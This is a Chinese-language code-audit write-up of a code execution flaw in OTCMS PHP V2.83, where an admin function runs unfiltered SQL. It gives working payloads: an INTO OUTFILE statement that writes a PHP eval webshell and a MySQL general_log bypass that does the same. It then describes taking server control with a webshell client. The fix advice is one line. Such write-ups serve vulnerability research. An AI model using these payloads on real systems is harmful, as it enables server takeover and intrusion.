【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备
OTCMS官网:http://otcms.com
网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31]
程序源码下载:http://d.otcms.com/php/OTCMS_PHP_V2.83.rar
测试网站首页:
0x01 代码分析
1、漏洞文件地址:/admin/sysCheckFile_deal.php 第523--540行:
- function SqlDeal(){
- global $DB,$skin,$mudi,$menuFileID,$menuTreeID;
- $backURL = OT::PostStr('backURL');
- $sqlContent = OT::PostStr('sqlContent');
- if (strlen($sqlContent) == 0){
- JS::AlertBackEnd('SQL语句不能为空.');
- }
- 10.
- 11. $judRes = $DB->query($sqlContent);
- 12. if ($judRes){
- 13. $alertResult = '成功';
- 14. }else{
- 15. $alertResult = '失败';
- 16. }
- 17.
- 18. JS::AlertHrefEnd('执行'. $alertResult .'', $backURL);
- 19.
20. }
这段函数中,首先进行接收参数,判断sqlContent是否为空,然后带入到数据库中执行,根据返回结果判断语句是否执行成功。可以看到参数并未进行任何过滤或处理,导致程序在实现上存在代码执行漏洞,攻击者可以构造SQL语句写入脚本代码,进一步触发代码执行,控制网站服务器权限。
0x02 漏洞利用
1、登录后台,首先通过数据库备份功能获取网站物理路径:
2、访问漏洞地址,构造SQL语句进行文件写操作
漏洞URL:http://127.0.0.1/admin/sysCheckFile.php?mudi=sql
Payload:
- select '<?php eval($_POST[g]);?>' into outfile 'e:/study/WWW/otcms/Data_backup/1.php'
执行失败,程序在into outfile进行限制了。
3、如何绕过这种限制?
构造SQL语句利用日志写入文件:
- Payload:
- set global general_log = on; #开启general log模式
- set global general_log_file = 'e:/study/WWW/otcms/Data_backup/1.php'; #设置日志目录为shell地址
- select '<?php eval($_POST[g]);?>' #写入shell
4、成功触发脚本代码
5、通过菜刀连接,获取网站服务器控制权限
0x03 修复建议
1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
- 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
随机推荐
- composer命令中 --prefer-dist 和 --prefer-source 的区别
--prefer-dist 会从github上下载.zip压缩包,并缓存到本地.下次再安装就会从本地加载,大大加速安装速度.但她没有保留.git文件夹,没有版本信息.适合基于这个包进行开发. --pr ...
- windows Server 2008 R2的安装
1.http://msdn.itellyou.cn/ 在此下载IOS文件. 2.通过Nero进行刻录系统光盘,可以通过Daemon直接加载IOS,然后复制就可以了. 3.通过开机 Delete键进BI ...
- python 中的 easydict
写在前面:当遇到一个陌生的python第三方库时,可以去pypi这个主页查看描述以迅速入门!或 import time dir(time) easydict的作用:可以使得以属性的方式去访问字典的值! ...
- ESLint 配置说明
ESLint 有什么用,为什么要使用? ESLint是一套可自定义规则的JS代码检查与修复工具 目标是保存团队代码的一致性和避免错误并且修复错误.减少团队沟通成本 "no-alert ...
- python实现模拟登录
本文主要用python实现了对网站的模拟登录.通过自己构造post数据来用Python实现登录过程. 当你要模拟登录一个网站时,首先要搞清楚网站的登录处理细节(发了什么样的数据,给谁发等...). ...
- void java.lang.System.gc()
void java.lang.System.gc() Runs the garbage collector. Calling the gc method suggests that the Java ...
- Newtonsoft.Json2.0下面序列化和反序列化
序列化 string xml = JavaScriptConvert.SerializeObject(dataTable); 反序列化 JavaScriptConvert.DeserializeObj ...
- JAVA JSON解析:类XPATH解析JSON
目前JAVA解析JSON的方式有很多种,json-lib啊,GJSON啊,等等都可以解析,但通常是将JSON转换为对象或者是LIST或者是MAP,对于我们测试人员来说,其实我们并不需要里面的全部信息, ...
- ant+svn+tomcat实现自动构建
前段时间用做了一个简单的web api服务,在调试的过程中感觉到手动发布实在是效率低而且容易出错,于是花点时间搞了一下ant+svn+tomcat的自动构建,效果不错,今天拿出来分享一下. 准备工作 ...
- 9.11 翻译系列:数据注解特性之--Timestamp【EF 6 Code-First系列】
原文链接:https://www.entityframeworktutorial.net/code-first/TimeStamp-dataannotations-attribute-in-code- ...